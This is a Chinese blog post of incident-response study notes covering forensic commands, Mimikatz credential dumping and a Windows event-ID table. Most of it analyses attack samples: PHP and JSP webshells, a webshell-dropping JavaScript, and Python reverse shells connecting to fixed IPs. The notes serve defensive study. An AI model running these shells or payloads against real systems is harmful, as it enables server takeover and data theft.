    • web_usernameweb_password 可能是管理面板的登录凭据(如Web UI)。
  • 当前状态
    • 已被注释(#),表示未启用认证,任何知道代理地址的人均可直接使用,存在安全风险

5、查找关键文件修改时间之后的文件

在一些关键文件,比如系统的so文件被修改之后可以去过滤一下在配置文件被修改之后还有哪些文件被修改了

示例:

黑客记录了所有用户登录时的密码,这个就算是权限维持了,然后我们找到了pam_unix.so文件,分析之后得到/tmp/.sshlog记录的文件,所以可以尝试去找在pam_unix.so文件欸修改之后的文件,也就是2024.9.24之后看哪些文件被修改了:

find / -type f -newermt '2024-09-24 01:30:00' ! -newermt '2024-09-24 23:31:00' 2>/dev/null|grep -v docker | xargs grep
 "flag{c"

查找在 2024-09-24 01:30:00 到 23:31:00 之间修改过的文件

image-20251122104525316


6、执行命令触发的操作

这个是黑客通过一些


五、工具

1、排查工具

D盾

  • 自动扫描包含了恶意代码的文件
  • 克隆检测来分析可疑账号

云沙箱

  • 恶意文件分析,大多是分析exec文件或者是so文件

火绒剑

  • 火绒剑的优势在于它提供了一个集成的、细粒度的系统视图,非常适合追踪恶意软件的行为和系统异常,异常的一般会被标红
  • 排查项:
    • 进程:可疑进程名、高CPU/内存占用、可疑父进程、进程路径
    • 启动项:用于排查持久化机制,包括"注册表"、"服务"、"计划任务"、"文件夹"
    • 网络:用于发现恶意软件的通信行为,包括可疑连接、监听端口、协议和端口

Mimikatz

  • Mimikatz是一款在Windows系统上用于提取用户凭证的强大安全工具

主要使用流程:

提升 Mimikatz 的权限,使其能够访问某些受保护的进程和内存区域

privilege::debug

告诉 Mimikatz 加载一个特定的内存转储文件(.dmp、.mem等,或者看文件头是MDMP的)

sekurlsa::minidump 文件名

用于提取当前系统中所有用户的登录凭证信息,包括明文密码、密码哈希、Kerberos 票据等

sekurlsa::logonpasswords full

示例:

image-20251118163702333

一般解密的哈希密码是NTML(NT 哈希 (NTLM Hash)。这是密码的 MD4 哈希,是 NTLMv1 和 NTLMv2 验证中常用的部分)

image-20251118163709885

Windows日志分析工具

image-20251118163721994


2、攻击工具

内网扫描工具

  • fscan - 内网综合扫描工具,用来快速扫描一个内网,发现存活主机、开放端口、识别服务,并自带弱口令爆破等功能
  • nmap - 网络发现与安全审计工具,经典的端口扫描器

内网穿透工具

  • frp - 内网穿透工具,让处于内网的机器能够被外网直接访问。常用于反向代理,绕过防火墙限制

后门注入工具

  • Cymothoa - 后门注入工具,将一个恶意的共享库或Shellcode注入到现有的运行进程中,从而在目标系统上创建一个隐藏的后门

Web扫描工具

  • Fuzz Faster U Fool (ffuf) - 快速Web Fuzz工具,用来对网站进行目录扫描、参数fuzz、爆破等测试
  • gobuster - 用于目录和文件枚举的开源工具,主要用于在Web应用程序或网站上查找隐藏的目录和文件

网络管理工具

  • P2P终结者(p2pover) - 由Net.Soft工作室开发的网络管理软件,旨在解决企业局域网内P2P下载流量过度占用带宽的问题,可以限制他人的网速

六、典型攻击场景与案例

1. Web攻击

恶意代码审计案例1

<?php
$key = "password";
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++) {
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a"; $s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

分析

  1. $key = "password"(8个字符)
  2. $i+1&7 相当于 ($i+1) & 7(按位与),结果范围是 0-7
  3. 这实际上就是 ($i+1) % 8 的高效写法
  4. $fun 的每个字节用 password 循环异或解密
  5. $a.$s 拼接成 "as"
  6. 连接 $_GET["func2"],如果 func2=sert,则 $c = "assert"
  7. 最后执行 assert($fun),将 $fun 作为 PHP 代码执行

攻击原理

攻击者可以通过构造特定的 GET 参数来执行任意代码:

  1. 准备恶意代码:比如 phpinfo();

  2. 异或加密:用 password 循环异或加密

  3. Base64编码:将加密结果进行 base64 编码

  4. 发送请求

    http://target.com/top.php?func=Base64编码的密文&func2=sert
    

恶意代码审计案例2

if (isset($_POST['3q89xozo'])) {
    die(eval($_POST['3q89xozo']));
}
require('./../data/common.inc.php');
$cuserLogin = new userLogin();
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);

恶意后门部分

if (isset($_POST['3q89xozo'])) {
    die(eval($_POST['3q89xozo']));
}

作用

  • 检查是否存在 POST 参数 3q89xozo
  • 如果存在,则 直接执行该参数中的 PHP 代码(通过 eval() 函数)。
  • die() 确保执行后立即终止脚本,防止后续代码干扰。

危害

  • 攻击者可以通过 POST 请求发送任意 PHP 代码,如:

    POST /vulnerable.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    3q89xozo=system('whoami');
    
  • 服务器会执行 whoami 并返回结果,相当于 完全控制服务器

伪装部分

require('../../data/common.inc.php');
$cuserLogin = new userLogin();
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);//构造session安全码
  • 作用
    • 加载一个看似正常的配置文件(common.inc.php)。
    • 初始化一个 userLogin 类(可能是伪装成合法登录逻辑)。
    • 生成一个 md5 哈希值($hashstr),可能是为了伪造 Session 或认证。
  • 目的
    • 让代码看起来像正常业务逻辑,避免被管理员或安全工具发现。

恶意文件创建

$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5441462abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -n -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);

Webshell创建

  • 文件名: /var/www/html/.shell.php(隐藏文件)
  • 访问密码: MD5哈希 5441462abc4b2a76b9719d911017c592
  • 执行方式: 通过POST参数 passcmd

隐蔽技术

system('touch -n -d "2021-01-01 00:00:01" .shell.php');
  • 修改文件时间戳为 2021-01-01 00:00:01
  • 逃避基于文件修改时间的检测
  • 使文件看起来像是旧文件

延迟执行

usleep(3000);
  • 延迟3毫秒执行,增加隐蔽性

持久化

  • 每次访问 index.php 时,都会重新生成 .shell.php,即使文件被删除也会恢复(依赖主脚本未被清除)。
  • 如果 index.php 是网站入口文件(如首页),攻击者可通过正常访问触发恶意逻辑,无需直接操作服务器。

攻击

发起POST请求并且传入参数:

pass=[正确的密码]&cmd=system('id');

远程连接后门1

#!/usr/bin/python3
import socket,subprocess,os,sys,time
# 守护进程化代码
pidrg = os.fork()
if pidrg > 0:
    sys.exit(0)
# ... 反向连接代码
sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sdregs.connect(("114.114.114.121",9999))
os.dup2(sdregs.fileno(),0)
os.dup2(sdregs.fileno(),1) 
os.dup2(sdregs.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

这段代码是一个典型的反向Shell后门程序,主要功能包括:

  1. 守护进程化:通过两次fork脱离终端控制,实现后台运行。
  2. 反向Shell:连接到远程C2服务器(114.114.114.121:9999),并提供交互式Bash Shell。
  3. 持久化:如果连接失败,会每隔2秒重新尝试连接。

远程连接后门2

#!/usr/bin/python3
from os import dup2
from subprocess import run
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172.16.10.7",2220))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
run(["/bin/bash","-i"])
  1. 建立反向连接
    • 脚本会主动连接到攻击者的服务器(172.16.10.7:2220)。
  2. 提供Shell访问
    • 通过重定向标准输入/输出/错误,攻击者可以远程执行任意命令。
  3. 隐蔽性
    • 没有守护进程(fork)或异常处理,因此连接断开后Shell会终止(但攻击者可以重新连接)。

后门植入

// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
    // 获取当前页面路径
    var urlWithoutDomain = window.location.pathname;
    // 判断页面是否为评论管理页面
    var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
    var tsrc = '';
    if (hasManageComments) {
        // 如果是,则将路径修改为用于修改主题文件的页面地址
        tsrc = urlWithoutDomain.replace('manage-comments.php', 'theme-editor.php?theme=default&file=404.php');
    } else {
        // 如果不是,则直接使用主题文件修改页面地址
        tsrc = '/admin/theme-editor.php?theme=default&file=404.php';
    }
    // 定义iframe元素的属性
    var iframeAttributes = '<iframe id="theme_id" src="' + tsrc + '" width="0%" height="0%" onload="writesShell()"></iframe>';
    // 获取网页原始内容
    var originalContent = document.body.innerHTML;
    // 在网页末尾添加iframe元素
    document.body.innerHTML = (originalContent + iframeAttributes);
}

// 定义一个全局变量isSaved,初始值为false
var isSaved = false;

// 定义一个函数,在iframe中写入一段PHP代码并保存
function writesShell() {
    // 如果isSaved为false
    if (!isSaved) {
        // 获取iframe内的内容区域和"保存文件"按钮元素
        var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
        var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');
        // 获取模板文件原始内容
        var oldData = content.value;
        // 在原始内容前加入一段php代码
        content.value = ('<?php @eval($_POST[a]); ?>\n') + oldData;
        // 点击"保存文件"按钮
        btns[1].click();
        // 将isSaved设为true,表示已经完成写入操作
        isSaved = true;
    }
}

// 调用insertIframe函数,向网页中添加iframe元素
insertIframe();

这段代码是一个 恶意 JavaScript 攻击脚本,主要用于 篡改网站后台的 PHP 文件(如 404.php),植入 WebShell 后门<?php @eval($_POST[a]); ?>),也叫注入黑链文件

1. insertIframe() 函数

  • 作用:在网页末尾插入一个隐藏的 <iframe>,用于加载目标 PHP 文件(如 theme-editor.php)。
  • 关键逻辑
    • 检查当前 URL 是否为 manage-comments.php(评论管理页面)。
    • 如果是,则构造 theme-editor.php 的路径,指向 404.php(主题文件)。
    • 如果不是,则直接访问 /admin/theme-editor.php(主题编辑器)。
    • 插入一个 隐藏的 iframewidth='0%' height='0%'),加载目标文件,并设置 onload="writeShell()"(加载完成后执行 writeShell)。

2. writeShell() 函数

  • 作用:在 iframe 加载的 theme-editor.php 页面中 篡改 404.php 文件内容,植入恶意 PHP 代码。
  • 关键逻辑
    • 获取 iframe 内的 content(文件编辑区)和 button(保存按钮)。
    • content开头 插入 <?php @eval($_POST[a]); ?>(WebShell 后门)。
    • 自动点击“保存”按钮btns[1].click()),使修改生效。
    • 设置 isSaved = true,避免重复执行。

3. 最终效果

  • 这段代码会 静默修改 404.php(或其他主题文件),植入 eval($_POST[a]) 后门,使攻击者可以 远程执行任意 PHP 代码(如上传木马、窃取数据、控制服务器等)。

控制web服务器

<% !String xc = "1710acba6220f62b";
String pass = "7f0e6f";
String md5 = md5(pass + xc);
class X extends ClassLoader {
    public X(ClassLoader z) {
        super(z);
    }
    public Class Q(byte[] cb) {
        return super.defineClass(cb, 0, cb.length);
    }
}
public byte[] x(byte[] s, boolean m) {
    try {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
        c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
        return c.doFinal(s);
    } catch (Exception e) {
        return null;
    }
}
public static String md5(String s) {
    String ret = null;
    try {
        java.security.MessageDigest m;
        m = java.security.MessageDigest.getInstance("MD5");
        m.update(s.getBytes(), 0, s.length());
        ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
    } catch (Exception e) {}
    return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
    Class base64;
    String value = null;
    try {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] {
            byte[].class
        }).invoke(Encoder, new Object[] {
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = (String) Encoder.getClass().getMethod("encode", new Class[] {
                byte[].class
            }).invoke(Encoder, new Object[] {
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[] {
                String.class
            }).invoke(decoder, new Object[] {
                bs
            });
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] {
                    String.class
                }).invoke(decoder, new Object[] {
                    bs
                });
            } catch (Exception e2) {}
        }
        return value;
    } %> <%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {} %>

核心攻击逻辑

  1. 类加载器攻击
class X extends ClassLoader {
    public X(ClassLoader z) { super(z); }
    public Class Q(byte[] cb) {
        return super.defineClass(cb, 0, cb.length);
    }
}
  • 创建自定义ClassLoader,用于动态加载恶意字节码
  1. 恶意类实例化与执行
if (session.getAttribute("payload") == null) {
    session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
    request.setAttribute("parameters", data);
    java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
    Object f = ((Class) session.getAttribute("payload")).newInstance();
    f.equals(arrOut);
    f.equals(pageContext);
    // ... 执行结果处理
}

关键攻击步骤

  1. 首次请求:将Base64解码并AES解密后的字节码定义为类,存入session
  2. 后续请求
    • 实例化恶意类
    • 通过调用equals方法传递输出流和pageContext(Web容器上下文)
    • 执行恶意代码并将结果加密返回

加密通信

  • 使用AES加密传输数据
  • 密钥为硬编码的xc = "1710acba6220f62b"
  • 使用MD5验证

攻击特点

  • 内存马:不落盘,驻留在内存中
  • 加密通信:规避流量检测
  • 动态加载:可随时更换攻击载荷
  • 会话持久化:通过session保持后门

这是一个高度危险的Web Shell实现,具备完整的隐蔽性和持久化能力。

黑链植入

什么是黑链植入?

黑链植入是指通过非法或非授权的手段(如利用网站漏洞),在目标网站的页面中植入隐藏的、指向特定网站的链接

主要目的与运作机制

在原有页面(如index.php, 404.php)中加入链接。这些链接通常具有以下特征:

  1. 隐藏性
    • 视觉隐藏:使用CSS将链接颜色设置为与背景色相同、字体大小设为0、通过定位将其移出可视区域等,使正常访问的用户根本看不到。
    • 内容隐藏:植入在页面代码的底部、<head>区域,或者放在大量无关的标签中。
    • 逻辑隐藏:植入在条件判断中,例如只对搜索引擎蜘蛛显示,而对普通用户不显示。
  2. 锚文本优化
    • 这些链接的锚文本(即可点击的文字)通常是精心挑选的热门关键词,例如“在线赌场”、“奢侈品代购”、“医疗软件”等。攻击者的客户希望这些关键词在搜索引擎中有高排名。

核心目的:操纵搜索引擎排名(SEO Spam)

搜索引擎(如Google)的排名算法中,一个非常重要的因素是 “反向链接”

  • 基本逻辑:一个网站被越多高质量、相关性高的网站链接,搜索引擎就认为它越重要、越权威,从而给予它更高的排名。
  • 黑链的利用:攻击者通过将客户的网站链接植入到成千上万个被黑的网站中,人为地、欺诈性地为客户的网站创造了大量“反向链接”。
  • 效果:从搜索引擎的视角看,客户的网站突然被众多网站推荐,其排名就会在相关关键词的搜索结果中迅速提升,从而带来流量和商业利益。

对受害网站的影响

这对被植入黑链的网站来说,是极其有害的:

  1. 搜索引擎惩罚:一旦搜索引擎(如Google)检测到您的网站存在大量隐藏的、不相关的出站链接,它会认为您参与了链接作弊
  2. 排名下降:您的网站可能会在搜索结果中的排名大幅下降,甚至被从搜索结果中彻底清除(俗称“被K”)。
  3. 声誉受损:用户如果在您的网站上发现博彩、等不良内容的链接,会对您的网站信誉产生怀疑。
  4. 安全风险:网站被黑本身意味着存在安全漏洞,可能伴有其他后门,导致数据泄露等更严重问题。

Python反向Shell后门

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
  1. python -c '...' &
  • -c:执行后面的Python代码
  • &:在后台运行(不阻塞当前shell)
  1. 导入模块
import socket,subprocess,os
  • socket:网络通信
  • subprocess:创建子进程
  • os:操作系统接口
  1. 建立socket连接
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("124.221.70.199",9919))
  • 创建TCP socket(AF_INET=IPv4,SOCK_STREAM=TCP)
  • 连接到攻击者的服务器:124.221.70.199:9919
  1. 重定向标准流
os.dup2(s.fileno(),0)  # 标准输入(0) → socket
os.dup2(s.fileno(),1)  # 标准输出(1) → socket  
os.dup2(s.fileno(),2)  # 标准错误(2) → socket
  • 将所有输入输出重定向到网络连接
  1. 启动交互式shell
p=subprocess.call(["/bin/sh","-i"])
  • "/bin/sh","-i":启动交互式shell
  • 由于输入输出已重定向,shell的I/O都通过socket进行

内网代理隐蔽通信隧道

.conf文件,类似:

image-20251118163639418

这段配置是 内网穿透/反向代理工具(如 frpnps 或类似工具)的客户端配置文件,用于将本地服务暴露到公网

  1. 核心参数解析
参数 值/示例 作用
server_addr 178.102.115.17:52329 连接的服务端IP和端口,客户端通过此地址与服务器通信。
conn_type tcp 传输协议类型(TCP/UDP/KCP等),这里使用TCP保证可靠传输。
vkey 6bHW7m4SMvy 验证密钥,客户端与服务端匹配的凭证(需与服务器配置一致)。
auto_reconnection true 自动重连,网络中断后尝试重新连接服务器。
max_conn 1000 最大连接数限制,防止资源耗尽。
flow_limit 1000 流量限制(单位可能是KB/MB),控制带宽使用。
rate_limit 1000 速率限制(如1000请求/秒),防止高频请求攻击。
  1. 代理认证(注释部分)
# basic_username=11
# basic_password=3
# web_username=user
# web_password=1234
  • 作用
    • 如果启用,访问代理服务(HTTP/SOCKS5)需输入用户名密码(如 basic_username:11 + basic_password:3)。
    • web_usernameweb_password 可能是管理面板的登录凭据(如Web UI)。
  • 当前状态
    • 已被注释(#),表示未启用认证,任何知道代理地址的人均可直接使用,存在安全风险

2. 系统入侵

Redis攻击

  • redis的未授权访问漏洞的影响范围是在Redis <=5.0.5
  • 配置文件redis.conf,查看requirepass,默认密码是foobared,如果这行注释了就相当于没密码
  • 主从复制攻击:Redis被设置为从服务器,去连接一个外部IP的Redis主服务器
  • 攻击者通过主从复制+恶意so文件植入了后门模块

日志证据

image-20250617143602160

REPLICAOF 192.168.x.x:8888 enabled
Connecting to MASTER 192.168.x.x:8888  
MASTER <-> REPLICA sync started
Module 'system' loaded from ./exp.so

Redis被设置为从服务器(Replica),去连接一个外部IP的Redis主服务器

爆破后上传恶意模块成功

Module 'system' loaded from ./exp.so

攻击者通过主从复制+恶意so文件(exp.so)植入了后门模块

这类模块允许执行系统命令,如 id, whoami, bash reverse shell

所以可以知道黑客的ip就是192.168.100.20

Nacos攻击

  • 目录:/var/local的nacos目录
  • 配置文件:nacos-mysql.sql,有账号密码

挖矿程序

去/opt目录找第三方挖矿软件,然后查看配置文件找矿池域名,也要留意日志文件

windows下的就是看CPU哪个占的最多,找到exe文件,反编译

示例:

image-20251118163740992

会发现一个可运行程序,其实看名字就知道是挖矿软件了,也可以运行尝试,运行之后会发现CPU占用率飙升,可以确定这就是挖矿程序

图标是用pyinstaller打包,使用pyinstxtractor进行反编译

image-20251118163758822

对pyc文件进行反编译

image-20251118163807039

image-20251118163815393

可以看到挖矿地址是:wakuang.zhigongshanfang.top


七、其他重要知识

1. 安全概念

免杀

杀毒软件没有检测到的文件

哈希传递攻击(PTH)

哈希传递攻击(PTH)是一种利用NTLM或LM哈希而非明文密码进行身份验证的网络攻击技术,属于横向移动攻击的一种。

基本原理

  1. 不破解哈希:攻击者不需要破解或逆向哈希值来获取明文密码
  2. 直接使用哈希:获取的密码哈希值可以直接用于认证过程
  3. 绕过密码要求:系统只验证哈希值是否匹配,而不需要知道原始密码

攻击流程

  1. 获取哈希:通过内存转储(如Mimikatz)、网络嗅探或其他方式获取用户密码哈希
  2. 传递哈希:使用这些哈希值向目标系统进行身份验证
  3. 权限提升:通常用于域环境中的横向移动,获取更高权限

博客原文:

在这种情况下,黑客使用隐藏账户登录系统,传递合法用户的哈希值,而不是输入密码。因为系统会接受这个哈希值进行验证,黑客就能以合法用户的身份登录并进行恶意操作。

总的来说:这种攻击方法利用了操作系统对身份验证哈希的处理机制,结合隐藏账户来进行隐蔽的系统访问和控制。它不需要知道用户的明文密码,因此特别难以检测和防御
那这种情况下我们也要找到进程“NtLmSsp”,那话又说回来了,什么是“NtLmSsp”呢?

简单来说“NtLmSsp” 是 “NT LAN Manager Security Support Provider” 的缩写,它是 Windows 操作系统中的一个进程组件,用于处理 NTLM 协议的身份验证。NTLM 是一种较老的身份验证协议,主要用于早期 Windows 版本以及在现代系统中作为后备身份验证机制。它通常在以下场景中使用:
Windows 登录: NTLM 可以用于本地或远程登录到 Windows 系统。
网络身份验证: 在访问共享资源(如文件共享、远程桌面等)时,NTLM 可以用来验证用户身份。
应用程序认证: 某些旧版或兼容性应用程序可能仍然依赖 NTLM 进行身份验证。

查找“NtLmSsp”进程是为了检测和分析使用 NTLM 协议的登录活动,特别是在调查疑似哈希传递攻击等安全事件时,通过识别与此进程相关的活动可以帮助安全人员更好地理解黑客的行为并采取相应措施。

也就是先查看登录成功的事件,4624,然后再看进程是不是NtLmSsp

Shiro

用于身份验证,一般应急响应里面就是找key

禅道

一个项目管理软件,默认目录名为zentao

Exec******

是指 Executable path(可执行文件路径)

比如你运行一个py文件,用的是python,就找python对应的文件,那个就是Exec******

示例:

image-20251118163828697

这里找到的就是python3.4


2. Windows事件ID

事件ID 类别 描述 常见原因/关键信息
4624 安全 用户登录成功。 登录类型(如本地、远程)、用户账户、源IP地址。
4625 安全 用户登录失败。 密码错误、账户锁定、权限不足。
7036 系统/服务控制管理器 服务状态变更(如启动或停止)。 示例:服务 "Windows Update" 已启动
4648 安全 用户使用显式凭据登录(如 runas)。 用于特权操作或切换账户。
4672 安全 分配给新登录的特权(如管理员权限)。 特权操作审计关键事件。
4688 安全 创建进程。 启动新进程(PowerShell、cmd、恶意软件)。
4689 安全 进程结束。 进程退出。
1074 系统/重启、关闭或注销 用户或进程主动关闭/重启系统。 记录触发关闭的用户、进程名及原因。
4663 安全 记录对象访问尝试的安全审计事件,特别是文件和目录的访问尝试。
4634 安全 用户会话注销(如关闭 RDP 会话)。
4647 安全 用户主动点击注销。
4720 安全 新建账户。 本地账户被创建。
4732 安全/账户添加组 成员已添加到启用安全的本地组中。 用户被加入本地组(如 Administrators)。
4733 安全 用户被从组中移除。
4723 安全 用户自己修改密码。
4724 安全 管理员强制重置他人密码(未验证旧密码)。
4725 安全 账户被禁用。
4726 安全 本地账户被删除。
4719 安全 审计策略变更。 Windows 安全审计策略被修改。
4675 安全 特权服务调用。 触发系统特权操作。
4697 安全 安装服务。 安装系统服务(可能是恶意服务)。
1102 安全 清除安全日志。 安全日志被清空(非常危险)。
41 系统/蓝屏 系统意外重启(如电源故障或蓝屏)。 硬件问题、驱动冲突、强制关机。
6005 系统 事件日志服务启动(系统开机)。 正常开机记录。
6006 系统 事件日志服务停止(系统正常关机)。 正常关机记录。
1000 应用程序 应用程序崩溃或停止响应。 程序错误、兼容性问题、内存泄漏。
1001 应用程序/蓝屏 Windows 错误报告(如程序异常终止或蓝屏)。 包含错误代码(如 BugCheckCode)。
10016 应用程序 DCOM 组件权限错误。 应用程序权限配置不当。
1026 应用程序 .NET 运行时错误或异常。 代码错误、依赖缺失。
100 启动信息 通常用于记录应用程序的启动信息。
106 计划任务 计划任务执行成功。 任务名称、触发时间。
201 计划任务 计划任务执行失败。 脚本错误、权限不足。
1003 网络 DHCP 客户端无法获取IP地址。 网络配置错误、DHCP服务器不可用。
1014 网络 DNS 解析失败。 DNS服务器问题、域名无效。
12 硬件/驱动 系统时间被修改。 恶意篡改或配置错误。
219 硬件/驱动 驱动程序安装失败。 驱动不兼容、签名无效。
4964 网络/IPsec IPsec连接建立。 系统间建立了 IPsec 安全连接。
5140 安全 用户尝试访问共享文件夹(smb共享)。
5156 安全/网络 防火墙允许出入站连接。
5158 安全/网络 防火墙拒绝网络连接尝试。
7045 服务控制管理器 "系统上安装新服务" 或 "服务已创建"。
5058 密钥文件操作相关的事件 密钥服务解密了一个密钥文件。
4768 安全/域控制器 (AD) Kerberos 身份验证票证(TGT)请求成功。 域环境中的用户认证记录。
4769 安全/域控制器 (AD) Kerberos 服务票证(ST)请求成功。 访问网络资源时的服务认证。
4738 安全/域控制器 (AD) 用户账户属性被修改(如密码重置、权限变更)。 账户策略变更记录。
4776 域控制器 (AD) 域控制器验证用户凭据失败(NTLM)。 密码错误或账户锁定。
5136 域控制器 (AD) Active Directory 对象属性被修改。 监控敏感对象(如用户、组)变更。
4740 域控制器 (AD) 用户账户被锁定。 多次登录失败触发。

登录类型编号(配合 4624 / 4625 一起查看)

类型编号 登录方式说明
2 本地交互式登录(控制台、键盘)
3 网络登录(如访问共享资源)
4 批处理(计划任务等)
5 服务登录
7 解锁工作站
10 远程桌面登录(RDP)
11 使用缓存凭据登录(如离线登录)

3. 系统恢复

重置密码

有一些靶机可能给的账号密码死活输入都显示不正确,在linux下就可以尝试去重置账号密码

这个是参考文章:Linux入门教程:如何重置CentOS 7的root密码_Linux教程_Linux公社-Linux系统门户网站

在登录界面要选择的时候按e,找到linux16的ro

image-20251118163841882

把ro改成rw init=/sysroot/bin/sh

image-20251118163849162

按下 Control+x ,使用单用户模式启动

image-20251118163856290

使用下面的命令访问系统:chroot /sysroot

重置密码:passwd root

image-20251118163906140

更新系统信息:touch /.autorelabel

退出chroot:exit

重启你的系统:reboot

image-20251118163913291

ok进来了


4. 正则表达式

1. 基本匹配

  • 普通字符(字母、数字)直接匹配自身
  • 示例:cat 匹配 "cat"

2. 常用元字符

元字符 描述 示例
. 匹配任意单个字符(除换行符) c.t 匹配 "cat", "cut", "c楚t"
* 前一个字符出现0次或多次 ab*c 匹配 "ac", "abc", "abbc"
+ 前一个字符出现1次或多次 ab+c 匹配 "abc", "abbc"
? 前一个字符出现0次或1次 colou?r 匹配 "color", "colour"
^ 匹配字符串开头 ^Hello 匹配以"Hello"开头的字符串
$ 匹配字符串结尾 world$ 匹配以"world"结尾的字符串

3. 字符类

表达式 描述 示例
[abc] 匹配a、b或c中的任意一个 [aeiou] 匹配任意元音字母
[a-z] 匹配a到z的任意小写字母 [0-9] 匹配任意数字
[^abc] 匹配除了a、b、c的任意字符 [^0-9] 匹配非数字字符
\d 匹配数字,等价于 [0-9] \d+ 匹配一个或多个数字
\w 匹配单词字符(字母、数字、下划线) \w+ 匹配一个单词
\s 匹配空白字符(空格、制表符等) \s+ 匹配一个或多个空白字符

4. 量词

量词 描述 示例
{n} 精确匹配n次 a{3} 匹配 "aaa"
{n,} 匹配至少n次 a{2,} 匹配 "aa", "aaa", "aaaa"
{n,m} 匹配n到m次 a{2,4} 匹配 "aa", "aaa", "aaaa"

5. 分组和选择

表达式 描述 示例
(abc) 捕获分组 (ab)+ 匹配 "ab", "abab", "ababab"
(?:abc) 非捕获分组 (?:ab)+ 匹配但不捕获分组
`a b` 匹配a或b `cat dog` 匹配 "cat" 或 "dog"

6. 转义字符

  • 使用 \ 来转义特殊字符
  • 示例:\. 匹配实际的点号,\\ 匹配反斜杠
posted @ 2025-11-18 16:54  Anaxa  阅读(67)  评论(0)    收藏  举报